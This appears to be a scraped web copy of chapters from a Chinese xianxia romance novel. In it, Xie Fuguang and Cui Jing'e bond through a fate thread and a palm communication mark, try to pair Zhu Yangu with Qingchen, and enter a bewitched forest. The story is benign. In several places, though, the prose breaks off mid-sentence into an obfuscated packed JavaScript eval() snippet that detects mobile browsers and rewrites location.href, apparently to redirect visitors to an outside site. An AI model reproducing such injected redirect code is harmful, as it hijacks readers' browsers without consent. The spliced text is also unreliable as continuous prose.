“说来奇怪,”黎暨回想当时,“灵力滴入飞来石的瞬间,我眼前闪过了一个绿影,随绿影出现的还有段笛音,听到笛音我就昏睡过去了,再睁眼已跟崔兄在一处。我四下找了卢道友一阵,连她半个影儿都不见,崔兄当时情况很差,浑身高热醒不过来,我得守着他,就没往更远处寻。但后来我让亲近的弟子去附近几座城秘密寻了一圈,也没什么线索,我怀疑那绿影不属于此秘境,我们两个的秘境或许被他调换了。” “能是被谁换了呢?”说着,他低低念叨起来,神色颇为头疼。 若他们的秘境是被人为调换,那背后之人究竟有何目的? 会是他们认识的人么? 绿影、笛音…… 谢扶光反刍这人仅存的两条线索,一个荒唐的念头蓦地腾起。 “嗳,”她招呼门口的崔惊厄,“你还记不记得卢笑绒的师兄叶放,他用什么法器?” 崔惊厄对这些很熟悉,张口就答:“一折君子扇,一段白玉笛。” 叶放叛出灵鹤谷前,在修真界也是个颇负盛名的仙长,一扇一笛行八荒,绿衣如竹君子璧。 “大小姐怀疑是叶放把卢妹妹带走的?” 倒不失为一种可能。 “只是猜测。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白衣弟子面容极其俊美,与崔惊厄不相上下,但两人的长相分属不同风格,那弟子瞧着冷淡禁欲,至于崔惊厄……谢扶光回头看他,他正看着那弟子出神。 不玩笑时,他这副面容其实相当沉静,目光却锐利,如雪山下狂澜暗藏的无波冷湖。 察觉她的视线,冷湖中心荡开一道涟漪,紧接着迅速向周遭蔓延,水面翻腾,近乎要把雪山给融了。 这厮眉飞色舞朝那弟子努努嘴:“他就是轻尘。” 怪不得。 跪个蒲团都有人围观,原是明镜台“一枝花”啊。 也不知崔惊厄在悲问寺,算不算一举一动都引人瞩目的人物。 “据说往年的赦罪大典,轻尘从不参加,”崔惊厄道,“也不知今日受了什么刺激。” 他随口的一句,谢扶光没放在心上,但回程路上遇见朱颜故,真相就都大白了。 谢扶光是由崔惊厄送下山的。 其实根本不用他,但莫名其妙,就送了。 途中谢扶光找到了一个合理解释:秘境里,他们是牵过红线的关系,最好还是适当演一演。 谢扶光大步在前,崔惊厄落后半步紧随在后。 仿佛回到器墓迷阵的黄昏,那股强烈的存在感又如影随形。 于是走到一半,她再次停下来。 这回崔惊厄没有陪着她场景复刻,他不曾跳开,却也没撞上她,脚步停下时距她很近,但没有碰到她,两人之间隔了一根发丝的宽度,与黎暨那符纹一样四不像的距离。 “大小姐是不是……想起那天要对我说什么了?”崔惊厄低头,桃花眼一错不错瞧着她笑。 29.姻缘线 谢扶光久久没有开口。 不是因为那句假装忘了的话,而是……她觉得崔惊厄不太一样了。 具体哪里犯了病,她不是大夫,说不清。 应该不是脑子的事,因为他的眼神瞧着比先前还睿智,从黑眼仁散出某种诡秘的光,引诱人看进去,像传说中苗疆那边的蛊。 也不像被诡物换了芯子,因为那张嘴找抽得依然稳定。 谢扶光看着他唇角愈深的笑意,觉得这厮谄媚了许多,八成有什么图谋。 她不喜拐弯抹角,当即伸出一只铁拳,抵着他前胸把他往远推了推,意外发现他只是看着薄,手感其实相当结实。 “你今日很奇怪。”她说。“又是送我下山,又是冲着我笑,若是有什么需要,大可直接说。” 闻言,崔惊厄眼中先掠过一丝错愕。 然后谢扶光就见他从眉梢开始,一路收敛着五官,直至将唇角的笑收拢到一个合适弧度。 他看起来像也不太自在,但嘴依然倔强:“狗腿子的自我修养而已,大小姐真是多想了。” “不对,”她还想反驳,感受上那点幽微的不同却不足以作为凭证,只好含混说,“反正你今天就是有点不一样。” “啧,谁规定的冲着你笑就非得是别有所图?”问责的马马虎虎,狡辩的索性也抽了个大疯,好在他这疯抽到一半还记得往回找补,“那什么,我的意思是……或许是那根红线在作祟!” 原是随口扯的淡,顺着说下去意外合理,直把崔惊厄给说精神了:“大小姐你想啊,我们两个在秘境里的身份不太一般,不都说‘情人眼里出西施’么,我今日见大小姐,果然格外的好看,多上心些也合理吧。” 是这样么? 本着实事求是的精神,谢扶光也盯着他仔细瞧了好一会儿,右手抚上心脏,认真感受过,选择接受这个荒唐谬论:“唔,确实比以前快了。” 连带之前那些尴尬都有了合理解释,氛围显见松快不少。 “所以,大小姐到底想起那句话了么?”崔惊厄问回开始的问题。 “哦,就是告诉你,以后到我身边走,”谢扶光越看他,越觉自己定是中了那红线的招,别人的感情落到她的壳子里,怪不得劲儿的,她别开视线,有些欲盖弥彰,“我不习惯别人走在身后。” 这鬼话若让舒扬舟听见,八成要冷嘲热讽。她确实不习惯身后有人,那是因为她从来独行。 “遵命!”崔惊厄喜滋滋连跨两大步,来到她左侧,那股强烈的存在感也跟着跳了两下,在她的左侧位置定居。 有了“红线”的解释,崔惊厄整个人好似也轻松了不少,一改先前尴尬的沉默,话又多起来。 “大小姐,借你的手留个东西,介意么?”聊了会儿没营养的山与水,他突然问。 “留什么?”谢扶光伸出左手。 崔惊厄右手与她的贴上,掌心相贴,谢扶光感到有些烫,手缩了一下,被他五指插进指缝扣住:“再等一会儿,还没好。” 他这一扣,谢扶光觉得更烫了。 她眼睫半垂,看向两人十指相扣的双手,意外发现一对红线已悄然在两只手腕间缠绕。 “姻缘线?”崔惊厄也看见了,“葵花妖族大公主与明镜台三弟子之间,结下的竟是姻缘线?” “姻缘线是什么?”仙盟正规典籍中没有记载,谢扶光一无所知。 其实有关姻缘线,仅留有零星记录,大多数人都不知道。 崔惊厄也是因为右腕有条疼起来要命的红线,查阅许多红线相关的典籍,才在犄角旮旯瞅见了这页。 “结姻缘线者,结取的是生生世世的缘分,即便轮回千转,两人也总能遇见,并在再次相爱后想起前尘;而一旦姻缘线双方两心生隙,就会……”说到这儿,他不再继续了。 “就会怎样?”谢扶光刨根究底。 “受点小惩罚。”崔惊厄避重就轻。 谢扶光从没听过这种线,却瞬间已有了猜测:“像你的右手那样么?” “或许……”崔惊厄沉默一会儿,又说,“我也尚不能确认。” “如果你手上的真是姻缘线,那……”谢扶光立时就要后退半步,这一动才发现两人的手还一直握着,她躲瘟似的把手指从他指缝抽出,缩了回来。 掌心分开,那烫得灼人的热度骤然冷却,两条红线也跟着消失了。 崔惊厄突然就有点心虚,他看看谢扶光,见大小姐绷着脸,目光一直落在别处,悻悻然收回视线。 谢扶光心里很不舒服,大概葵花妖族大公主对明镜台三弟子的占有欲移嫁到了她身上,一想到崔惊厄很可能还有个生生世世的恋人,她就醋得翻江倒海,恨不能再不见他。 但她又觉得这样想很不好,感情是大公主和三弟子的,她与崔惊厄仅是同伴,眼下还需合力通关当前秘境,她虽受红线影响,却不能输给这层链接。 于是她转回眼眸,想把捋清楚的思路与他达成共识,却仅见到他一个回避的侧脸。 两个人僵立原地,终究什么都没有说。 “我说你们,话本子里牵手之后不都该抱一个么,”斜前方不远处的古松横枝上,响起一个含着醉意的女中音,语气里尽是调侃,“怎么分开了?便是牵手后发现体验不好,也不至就结了仇吧?” 朱颜故翻身跃下,因速度太快,只闪过一个红白交加的影。 红的是来时那身行头,白的……则是轻尘那件外裳。 吃瓜面前无烦恼。 她的到来,解救了这凝固的氛围。 崔惊厄暂把那根说不明白也理不清的姻缘线搁下,两根手指娇俏一扯谢扶光的衣襟,套着近乎,明知故骚:“这人怎么披着轻尘的外裳,大……公主若认识,介绍介绍?” “我妹。” 听说是轻尘的外裳,谢扶光也很震惊。 难怪轻尘今日破天荒跪了赦罪大典,也不知朱颜故对他造成了什么深重阴影,真闷声办大事,她都服了。 几句寒暄过后,崔惊厄把大典上轻尘的事跟朱颜故说了,肇事者表示自己相当无辜。 “我没干什么啊,”朱颜故也很困惑,“轻尘他领口封得太高太死,光是看着都卡脖子,我就伸手替他松了松。脖子是什么不能摸的部位么,又不是……那个。” “话是这么说,但我师兄他,为人比较保守,没经过什么事,容易被吓着。”崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062759|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊厄笑得幸灾乐祸,却还要装一装正经东西,“二公主以后再见他,还请怜香惜玉着些。” “好说。”朱颜故爽快应下,“以后我要干什么,先争得他同意好吧。” 说完她还要接着询问崔惊厄和谢扶光的发展,被谢扶光黑脸拽走了。 “你怎么会与轻尘碰上?”回程路上,谢扶光趁朱颜故醉着,套她的话。 朱颜故嘿嘿一笑,指着她说:“大姐,趁我醉套我话,学坏了。” “不过这事儿我可以告诉你,林子里碰见,我跟他切磋了一架,你猜怎么着?” “你赢了?”谢扶光并不想猜,僵着脸勉强捧场。 “不是。” “哦,那就是输了。” “也不是。” 谢扶光:…… 似兴致尽了,朱颜故终于不再卖关子:“我发现,他就是十一年前为我输灵力的小道君,没想到,小时候团子一样,长开了还怪俊的。” “真巧。”没想到他们还有这样的旧缘。 这一晚,葵花宫的两位公主和明镜台的两位弟子都没太睡着。 轻尘自不必说,年轻的道长用一整夜的自闭来哀悼被扯的衣领; 至于朱颜故,则是被酒精刺激得精神亢奋,趁着刚泡过冷泉,卖力修炼了一夜; 谢扶光就有点倒霉了,由于朱颜故的寝殿大门被她一脚踹废,尚未修好,一回葵花宫朱颜故便不请自来了她的寝殿,她不惯与人同住,自然也睡不着; 崔惊厄则更衰些,前半夜他一直想东想西,一会儿反刍白日与谢扶光的相处,一会儿又愁一愁右腕那条姻缘线,刚混混沌沌进入梦乡,却被脑海里谢扶光的声音骂了起来。 这事还需从下午两人掌心相对那时说起。 那短暂的片时,崔惊厄在她掌心留了个印记,大多时候看不出来,而一旦发挥作用,就有很大“惊喜”。 朱颜故脸皮奇厚,谢扶光赶她两次都没能把她送走。 念在她的房门的确是自己一脚踹废的,谢扶光最终还是留下了她。 谢扶光原本有夜里调息打坐的习惯,但葵花妖族大公主绝非什么努力的人,碍于身份她只能乖乖在床上躺好。 习惯被打乱,她有点睡不着,脑海里走马灯似的乱闪今日这些事,不自觉就想到了崔惊厄那条姻缘线,左手掌心也跟着幻烫起来。 谢扶光背对朱颜故,舒展左掌偷偷打量,掌心边缘红润中间白皙,掌纹清晰绵长,但与之前毫无区别,完全看不出崔惊厄在上头留了东西。 “果然是大骗子。”谢扶光暗暗想。 她正要闭上眼睛,带着对崔惊厄的控诉睡去,就在这时,一个声音贴耳乍起,字里行间染着些倦意。 “大小姐,别骂了,我听着呢。” 谢扶光:!!! 大惊之下,她一个激灵,在床上弹了一弹,又听到一声熟悉的闷笑。 她见鬼一样四下看了一圈,除去惊动了朱颜故,没有看见第三个人。 “别望周围,看掌心。”谢扶光从善如流看向左掌,但见方才还空空如也的掌心莫名多出了一张脸——崔惊厄的脸! 她当即就把手阖上了。 30.通讯纹 崔惊厄说要在她掌心留个东西,留的竟是他自己! 不怪谢扶光想象力匮乏,而是……正常人谁干得出这种事! 大小姐坦坦荡荡二十年,头一回萌生一股强烈的偷感,她先做贼似的向后瞟了眼朱颜故,见她仍一脸清高地调息打坐,放下心的同时,还有那么点自惭形秽——同一屋檐下,有的妖志存高远一心修道,而她偷偷摸摸蜷在床上,掌心还藏着个男人! 话说这病秧子不会要长住在她掌心吧,深更半夜突然对上他一张脸,多吓人! “不用担心,你合上手掌半盏茶时间,我们的链接就自然断了。”崔惊厄的声音又响起来,“而且大小姐,还请您控制一下自己活跃的思想,我们在用心声沟通,现在我耳边东一句西一句,正非常被动地窥探您的少女心思。” “那你不早点提醒我!”谢扶光尝试使用心声回怼。 她重新舒展开左掌,崔惊厄应是把右手挪远了些,她掌心不再只有他一张靠近的脸,他整个上半身都被囊括其中。 崔惊厄觉睡得很不羁,衣襟半敞,犹抱琵琶半遮面地袒出结实胸腹,经昏黄烛光镀了层蜜色,大晚上瞧见,还怪涩的。 也不知他那丰富的人生履历里,有没有牛郎店的辉煌生涯…… “没在那地界待过。” 崔惊厄轻啧一声,湛湛夜色里,心声都浸着懒,在脑海炸响给人以贴耳低语的错觉,蛊得可以。 “大小姐,都说了,控制心声。” 谢扶光头一次接触这种邪术,对心声的把控并不很自如,被崔惊厄听见又会生气。 但或许是初来乍到新的秘境,又或许没法练刀实在无所事事,她没有掐断两人间链接的念头。 谢扶光四下梭巡一圈,找了个刻百鬼夜游图案的镂空灯架,左掌心对着那灯架,让不穿内搭的狐狸精去见鬼。 “你这是什么邪术,怎么用,说明白。” “这是我自创的通讯纹,日后你若想联络我,可以凝视左手掌心,默念我的姓名三次,如果不愿念名字,像这次一样连骂我三句也行,我们就可以在脑海里用心声对话了。” 崔惊厄又说:“而且大小姐可以放心,通讯纹是单向的,只能你联络我,我无法随意联络你,不会对你造成不便。只要你控制好心声,我就不会对你造成丝毫窥探。” “所以啊,虽然我的隔空寄音符纹很复杂,大小姐有什么事还是可以跟我说,用不着找黎暨。” “好了说完了,别骂了,我以前怎么不知道你对我的意见这么大。”崔惊厄叹息一句,最后说。 谢扶光面对新事物总会充满各种想法,在崔惊厄介绍通讯纹时,脑海中抑制不住吐了八百句槽,大概对他仍残留着姻缘线那事的怨怼,那一闪而逝的八百句里想来鲜少是好话。 “好,我会练习。”谢扶光手伸累了,从百鬼夜行灯架上移开,转回自己的脸,她正背对朱颜故侧躺在榻上,平日总冷着的脸因为舒适躺着的姿势,添了些许柔软。 因被谢扶光肆意乱放的心声打入了牛郎店,崔惊厄拢了拢衣襟,也躺回枕头上。同样是侧躺的姿势,虽相隔两地,意外有种相对而眠的错觉。 “崔惊厄,”沉默了一会儿,谢扶光阖着眼,在心里说,“朱颜故和轻尘有段前缘,她幼年受伤曾为轻尘所救,当时轻尘为她输了灵力,至今仍流转在她体内,如今她集灵气与妖气一体,可以制出灵活转换气息的丹药。今日我上明镜台就是从她那儿拿的药。” “轻尘足足跪到月上中天才走,很是现了眼,”崔惊厄也说起他那边的事,“后边排队的百姓都说这是明镜台想的缺德招,逼着他们花钱入内殿拜,特派轻尘在前头占着蒲团。黎暨没法子,只好把他改叫进内殿跪着。” “你妹真是个厉害人物,轻尘第一次下山独面巨妖都没这么怀疑过人生。” 谢扶光闷闷笑了两声,细长眉眼弯起,罕见的温柔随之溢散。 “我和师兄猜测朱颜故的执念或许就是同轻尘修成正果,要不要试试撮合他们?” “行啊,”崔惊厄挺感兴趣,“我还没当过红娘,试试也不错。” “怎么撮合?”谢扶光素有自知之明,这种事肯定不能指望她,“你既当过说书先生,痴男怨女的话本子看过不少吧。” “感情的事,外人再怎么使劲都是陪衬,”难得被大小姐委以重任,崔惊厄故作了解,装得头头是道,“我们能做的只是把人凑到一块儿,至于能不能成,还得看他们自己的意思。” “真懂啊,”谢扶光没忍住冒了句心声,“不愧是牵过姻缘线的人。” 崔惊厄:…… 什么叫弄巧成拙? 他真的完美诠释。 好在大小姐及时纠正念头,让交谈回归正轨:“怎么凑一块儿?你有主意么?” 有了适才的经历,崔惊厄抑制心声停顿好半晌,以示自己对情事其实没那么在行,然后才说:“轻尘和朱颜故是没什么交集的,得靠咱们给他们从中间搭桥。” “轻尘和我是师兄弟关系,朱颜故和你是亲姐妹关系,我和你呢……又是非比寻常的男女关系。” “你用词好龌龊。”谢扶光没忍住想道。 “我的心声只你能听见,你不瞎想就没人入非非。” “我当然不会瞎想!”谢扶光朝掌心瞪了一眼。 “我信,特别信,毋庸置疑,”崔惊厄秒怂,下意识想朝她挤个媚眼,又觉得对着右掌挤有点猥琐,最终只是眼皮抽搐了一下,“这事儿其实挺好办,大小姐你做点牺牲,假装跟我外出幽个会,重点是喊上他们一起,先创造条件接触呗。” “谁幽会还叫着外人?”谢扶光没看过话本子,也觉得离谱。 “你就说你脸皮薄,得带上娘家人壮胆。我就骗轻尘,凡人界有恶妖作祟,让他随我一道除妖,届时咱们路上来个偶遇。” 崔惊厄的规划很丰满,谢扶光听得也很放心。两人声音越来越低,语速越来越慢,不知不觉愉快地睡去。 黎暨四日来每天派出一拨人寻觅卢笑绒的踪迹,俱是无果。 崔惊厄想着与其单纯做戏,不如顺带找找人,毕竟卢笑绒的鼻子比狗灵,若闻到他们的气息,定会想办法来相见。 于是他把骗人地点定在了明镜台的西南一带。 那里人烟少,兼有大片密林,黎暨尚未派人找过。 原本的明镜台三弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079264|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子应是个正派角色,崔惊厄仅简单骗了一句,无需天花乱坠,单纯的轻尘道长便已听信他的谗言,应下此行。 成功把人诓出来,崔惊厄有点惭愧的同时,在心里给自己比了个大大的“耶”。 他这边一切顺利进行,只待在山下演好一场乍然相逢,两个操心的红娘就能功成身退。 可谢扶光那头,朱颜故是个不按常理出牌的大变数,昨夜她看似清心寡欲地调息吐纳整晚,不成想清早就抱着轻尘那件外裳,寻上了明镜台。 崔惊厄昨夜没提,也或许第一次使用,他自己也不太清楚,二人掌心的通讯纹其实有个巨大缺陷。 昨夜他们都在对话中入眠,没有断开链接,睡梦中通讯纹灵气耗尽陷入休眠。 被朱颜故拽去明镜台的一路,谢扶光几度尝试重启,始终未能听到崔惊厄的声音。 一炷香后,鹧鸪山的半山腰处,四人不期而遇。 除了谢扶光,其余三个都挺意外的。 “呀,轻尘道长,您亲自出门啊,真巧。”同样很意外,对崔惊厄是惊讶,轻尘则是惊吓,到了朱颜故这儿,便成了惊喜,她笑吟吟上前,将那件洗净叠好的白色外裳还回去,“你的外裳,我昨夜亲手洗好的,现特来归还。” 轻尘不动声色动了动鼻子,她手中纤尘不染的白衣上,正散发淡淡花香。 轻尘多年潜心修行,心绪未被暗香所乱,他没有接衣裳,手中子虚反而出鞘,剑刃经日光曝射,闪着一剪泛白光影,从朱颜故妩媚眉眼急掠而过,她侧颈一凉,娇嫩肌肤已抵在寒芒。 “据我所知,凡人界不许妖魔横行,你身为妖物,却一而再登我鹧鸪山,入我明镜台,究竟有何居心?” 炼制转换气息的丹药会消耗不少元气,朱颜故这次出来,只用了鬼市上的寻常物件遮掩,效用大打折扣。 对她的妖女身份,轻尘昨日交手时仅是猜测,这会儿确认无疑,子虚剑登时朝她指来,毫不怜香惜玉。 崔惊厄和谢扶光无奈对视,各自缀在己方阵营后方,用眼神暗通了一下款曲。 正打算上前缓和气氛,却听被剑抵着的笑了一声,朱颜故妩媚眼梢一挑,看起来极不良家:“您也说了,是禁止妖魔‘横行’,我出来一趟,既不偷也不抢,还不够低调么?” “至于有何居心,”朱颜故笑意更盛,“要我说,人界有三宝,一为青天白日,二为市肆烈酒,第三嘛,就是道长您了。” 不同种族间女子相貌各有差异: 没有修为的凡人最为朴实; 一旦踏入修真界,随修为递增,五官会日渐蒙上仙气,气质逐年出尘; 至于妖魔两界,魔族浑然天成一身煞气,五官受气息影响,瞧着总一副不太高兴的模样; 妖族则大不一样,尤其女性,通常身娇体软,腰肢纤细,朱颜故年方十六,眉眼已然显露媚态,幸而她有多年修道修出的气质作中和,不使坏逗人时,还能勉强瞧出几分纯良。 可惜她偏是个不好好说话的。 朱颜故漂亮的眼睛眯了眯,随意一个动作已送出秋波千叠,她轻声道:“而且啊,我体内还有道长您留下的宝贝,今日过来正巧道一声谢。” 31.喜欢 轻尘闻言,眉梢狠狠一抖。 “你……” 他像是生了大气,气到吐血那种,目光冷冷凝视朱颜故,谁看了那眼神都得说一句“郎心似铁”。 “这种事一查便知,轮不得你血口喷人!”轻尘道长满脸正直。 “昨日你没看出来么?”朱颜故眯起眼,卖力回忆酒后那些事,好半晌终于恍然,“也对,昨日我的灵力被那枚丹药改的乱七八糟,那你现在看好了——” 话音未落,她身形已灵活一闪,纤腰一软,身如一条迅敏的蛇,矮身轻盈地从子虚剑刃下擦过。轻尘剑尖正待追去,却见她周身缠绕上一圈近乎透明的白色灵力,一时怔愣,手上停了动作。 趁他失神之际,朱颜故足下疾行两步,弧线漂亮的身体裹挟与那外袍同样的香气,猛凑上前,娇美面容近乎怼上轻尘的眼。 “认出来了么?我的好道长。” 轻尘急退两步,回避她的靠近,偏头侧身的同时顺势也放下剑。 “你体内怎会有我的灵力?” “说来话长,这事时隔太久,你果然是早忘了,”朱颜故的语气有点惋惜,但没有不高兴,她话锋一转,“救命之恩,我却是不敢抛之脑后的。” “十一年前,那时我五岁,偷跑入人界玩,因妖物身份被修士所伤,气息奄奄。你当时刚巧路过,见我非恶妖,喂我服下保命丹药,还输送大量灵力护住我经脉,一路送我至人魔交界处。” “所以啊,”朱颜故说着,浅浅一笑,同时纤长食指轻弹他剑尖,“纵你拿剑指我,我仍念着你的好。” 轻尘先前面对朱颜故,只是被撩拨的羞愤,这会儿却是真有了触动。 不为那段前缘,只因一颗道心。 随年岁见长,他对妖魔的偏见日渐根深蒂固,险些忘却就像人有善恶,妖魔亦有好坏之分。所以他在看出朱颜故女妖身份的第一时间,就对她出了剑。 “原是熟人啊!”见他面色缓和,崔惊厄自觉到了红娘出马的时候,他朝谢扶光使了记眼色,眉飞色舞地上前劝和,“既然大家都认识,早说呗,打什么架啊?” 谢扶光不太想像老鸨子一样掺和进去,但看崔惊厄独自开屏又有点残忍,终究硬着头皮上前,黑着脸替朱颜故帮了句腔:“啊,原来你十一年来潜心修道,从不习妖邪之术,行奸恶之事,都是受轻尘道长大义影响啊。” 她自认演绎得很卖力,语气却干巴巴。 朱颜故听完不仅没有领情,反而很嫌弃地看了她一眼,指着崔惊厄说:“你怎么跟他一样,怪里怪气的?” 这一说,轻尘也觉得原本高岭之花一样的师弟过于活泼,但他于他人性格上的变化向来迟钝,只转了个念头并未起疑。 “当年我只是举手之劳,姑娘不必言谢。”轻尘理清心绪,一手接过朱颜故手中外裳,另一只手将一沓符纸塞入她掌心:“你体内灵力既源于我,如修炼中遇到什么难题,大可以寻我帮忙。只是擅闯明镜台仍是不宜,恐惹祸端不说,擅入他人门派,本也是无礼之举,日后你若为寻我而来,大可在鹧鸪山脚等候,燃此符咒,一盏茶内我定然出现。” “还望姑娘谨言慎行,话既已说开,便莫再与我开玩笑了。”他回绝的是朱颜故那些撩拨之举。 轻尘倒是个既守礼法又知变通、存善心的人。 谢扶光看着眼前清隽出尘的白衣道长,心下却在琢磨朱颜故的最终结局。 这两人瞧着都很不错,究竟出了什么问题,才会走到死杀那一步? “如没其他事,我们还有事要办,二位请先回吧。” 轻尘将外裳收入储物袋,储物袋看似玲珑,内置空间却足以装下一间房,随身携带极为方便。 “师弟,我们该走了。” 眼见两道白影越行越远,朱颜故偏很沉得住气,两眼缄默送行,没有出声唤停的意思。 谢扶光只好亲自上场:“崔……道长,你们去哪儿,有我们能帮上忙的地方么?” “西南方向有点动静,我们过去瞧瞧。” 人间共七大洲,修真界最强盛的七大宗门各踞一处,一则彼此间无需争夺天地日月精华,二来每宗各护一方百姓,秩序井然。 明镜台踞南远洲,南远洲不大,但距妖魔界最近。 弟子需定期下山除妖,洲中也随处分布着明镜台的驿站,百姓一旦遭妖魔入侵,可通报距离最近的一处。 崔惊厄正是从驿站层层传入宗门的通报里,挑拣出一条西南方向的乱子。 乱子不大,虽有几分诡异之处,却从没有人受伤。 按道理,这种小事用不着崔惊厄和轻尘这种掌门亲传弟子亲自下山,但崔惊厄很会骗,轻尘又刚巧很好骗,两人稀里糊涂也就下来了。 “道长既允诺指导我修道,我心里便认你做师父,”半晌错愕过后,朱颜故恢复初时勇敢,“这次就带徒儿一道历练呗。” “你,去除妖?”轻尘微怔。 “怎么?妖就不能诛妖么?那人还会抢劫杀人呢?”朱颜故不拘于这些,“与其以物种归阵营,不如以善恶分敌我,我以为你当年救我时,就是这样想的。” “是我狭隘,你既愿意,同行便是,”轻尘没有拒绝,“只是还望慎言,师父这种话莫要再说。” 朱颜故见好就收,也不强求。 明镜台往西南方向有片密林,密林前后是两座城池,中间人为伐出一条大道供人往来。 变故就是近日发生的。四天前,一支商旅夜入密林,未寻见那条大道,只当天色太暗,影响视物,改从林间穿行。不多时却发现林中司南失灵,他们一行人不辨东南西北,分明一路向前走着直线,还做了标记,可兜兜转转总绕回原地。 打头的当是中了邪,心生惧意退回,翌日再来时,沿林子外沿查看一圈,那条大道竟真凭空消失了。 路上谢扶光了解过事情始末,登时明白了崔惊厄为何选择来此处。 四天前,正是他们进入秘境的日子,而密林就在这天出现异样,她也不信这是巧合。 四人说是同行,一路的站位却很泾渭分明。 崔惊厄和轻尘在左,右边依次是朱颜故和谢扶光,轻尘和朱颜故之间虽不算隔着道天堑,却始终保持有一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢扶光练刀是谢白扇带着入的门,她至今记得父亲曾说:“同样的招式,同一人来做,在不同场合发挥出效果也是不同。气息沉在哪儿、动作的着力点落在哪儿、对手又在哪儿……打斗中变数重重,任一环节都影响着你出招的效果。” “所谓百战不殆,便是在电光石火间总能抉择出最优的那一解。” 于是她问:“那哪一种才是最好的喜欢?” 不管有没有用,她想先要一个答案。 “只要不在喜欢中丢掉自己,或伤害别人,就都是好的喜欢。”朱颜故却给不了这个答案:“譬如我昨天喜欢轻尘,是喜欢他那张白净面皮,喜欢他一逗就脸红,喜欢与救命恩人久别重逢的那份意外之喜。但今天就不一样了。” 谢扶光听着,往轻尘脸上瞟了一眼,没觉得他今日那张小白脸有什么变化,他依然容易脸红,也仍旧是朱颜故的救命恩人。 她实在没看出什么不一样。 “别看了,他与昨日没有分别,我也还是我,但随着经历,喜欢是会变化和成长的。”朱颜故挡住她困惑的视线,“今日他收回了指向我的剑,还说我有修炼上的问题都可以找他,我发现过去这些年他没有变,依然是那个只以善恶鉴妖邪的善良道君,那份喜欢突然就有一点变了。” “我不再敢在他面前放肆,因为轻尘在我心里更重要了一些,我会开始担心他远离我。” “由爱故生忧,由爱故生怖,”她最后说:“当喜欢突破一定限度,初时勇敢就会变为畏缩。陷于爱者总是心生惶惶,即便骄傲坦率的人也难逃过。” “所以,你面对崔惊厄时,有没有怕过什么?” 32.花辞树 有没有怕过呢? 一瞬间谢扶光眼前闪过画面无数。 当然是怕过的。 无论是器墓迷阵里,崔惊厄强用右手剑,痛得冷汗淋漓,跪地喘息;还是生死门前,他护她入怀里,半昏迷状态下,还用脊背为她挡塌陷的顶板。 这些时刻,谢扶光都曾隐隐怕过。 但同时她也深深明白,不非得是崔惊厄。 她半生亲缘淡薄,亦无挚友,物以稀为贵么,生死关头,换做任一对她心存善意之人置身险境,她都会为他担忧。 可若说崔惊厄与旁人全无不同,她也不算很有底气。 心脏震如擂鼓、呼吸仿佛被攫住的紧张,她只在与他衣襟相蹭的假山后体会过; 任由掌心的通讯符纹一直亮至入夜,她也只对他放任过; 还有那道莫须有的姻缘线,若非缠在他的右腕,她不会过问,遑论在意至斯,甚至因它恼怒失措。 …… 怕情突至,怕来日未知,更怕他姻缘线的另一头,还牵着某个旧时相识。 条条罪证明示:她对崔惊厄的心意确当得“惶惶”二字。 意识到这点,谢扶光又添了一重忧怖。 莫名,她很排斥对他有情,就像这份情意染着鲜血、会杀死人,她曾因此狠狠吃过苦头一样。 “大姐?”察觉她失神,朱颜故叫了她一声。 这一声直将谢扶光从深渊捞起。 她于浩浩汪洋中攀上一根浮木。 是了,她现在不过是故事里的人,想来感情也是承袭原主,是葵花宫大公主对明镜台三弟子,而非她对崔惊厄。 为那些悸动找到合适源头,谢扶光神色回归如常,她朝朱颜故摇了摇头,语气坚定得像在自警:“对他,我没有怕过。” 抵达密林时正值黄昏,红云簇拥一团圆日,映照整片密林,泛起诡异的金黄颜色。 谢扶光能明显看出,密林外罩了层结界,但凡有些修为都能看见,只是凡人无灵力,不能发觉。 她尝试往里丢了颗石子,与驿站通报中的情况相同,密林只让人迷失方向,进入并无阻碍。 “你投石头做什么?”朱颜故问。 “试试进入这结界会如何。”谢扶光随口答。 “结界?什么结界?”朱颜故边问,还更仔细地观察密林一番,仍是疑惑,“有结界么?我怎么没看到?” “我见也是没有的。”一旁轻尘跟着开口。 谢扶光看向崔惊厄,他朝她浅浅点了下头。 两人默契交换一个眼神,看来结界只他们两个外来者能见。结界或许与那第三个秘境有关,那么卢笑绒还真有可能在这密林之中。 谢扶光不宜显得太特殊,崔惊厄吊儿郎当帮她打个圆场:“我的大公主,要不是知道你有这爱骗人的毛病,我还真就信了。” “谁骗你了,我谨慎不行啊,”谢扶光顺着他演,“刚刚就是试探一下有没有隐形结界,你少自作多情。” 轻尘听着二人打情骂俏,小白脸又是一红,朱颜故则乐见大姐和未来姐夫拌嘴,谢扶光的反常就这样混过去了。 众人进入林中,如驿站通报中所言,不多时就迷了路。 普通百姓看不见,但林中四人皆有修为,能看出密林间弥散的无色雾障,浓雾近乎覆满整个视野,修为越高,看得越清晰,与此同时还有无孔不入的无味气体向他们侵袭。 